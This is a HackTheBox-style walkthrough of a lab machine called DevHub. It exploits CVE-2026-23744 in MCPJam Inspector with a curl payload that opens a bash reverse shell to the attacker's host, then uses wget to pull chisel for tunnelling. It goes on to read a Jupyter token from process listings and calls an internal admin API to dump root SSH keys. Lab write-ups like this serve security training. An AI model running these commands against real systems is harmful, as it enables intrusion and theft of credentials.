DevHub – HTB Walkthrough (Medium Linux)

Machine: DevHub
Difficulty: Medium
OS: Linux
Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation

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📌 1. Reconnaissance

nmap -sC -sV devhub.htb

Result:

Port 22 (SSH)

Port 80 (HTTP)

Port 6274 (MCPJam Inspector)

📌 2. Edit Hosts File

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Explore Website

http://devhub.htb/ → Landing page

http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (vulnerable to CVE-2026-23744)

📌 4. Reverse Shell as mcp-dev

Terminal 1 – Listener:

nc -lvnp 4444

Terminal 2 – Payload:

curl -X POST http://devhub.htb:6274/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Shell as mcp-dev 📌 5. Set up Chisel Tunnel

HTTP Server (Attacker):

python3 -m http.server 8000 --bind 10.x.x.x

Download Chisel on target (mcp-dev shell):

cd /tmp wget http://10.x.x.x:8000/chisel chmod +x chisel

Chisel Server (Attacker):

./chisel server --reverse --port 9001

Chisel Client (mcp-dev shell):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Jupyter Access

Read token (mcp-dev shell):

ps aux | grep jupyter | grep -v grep

Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Browser: http://localhost:8888/?token=... 📌 7. Retrieve Root SSH Key (in Jupyter)

import requests, json

url = "http://127.0.0.1:5000/tools/call" headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"} payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload) print(json.dumps(response.json(), indent=2))

📌 8. Login as Root

nano root_key

Insert key

chmod 600 root_key ssh -i root_key [email protected]

📌 9. Flags

cat /root/root.txt cat /home/analyst/user.txt

Root Flag:

08be4cfb68597d0f9edfccxxxxxxxxxx

Good luck! 🚀

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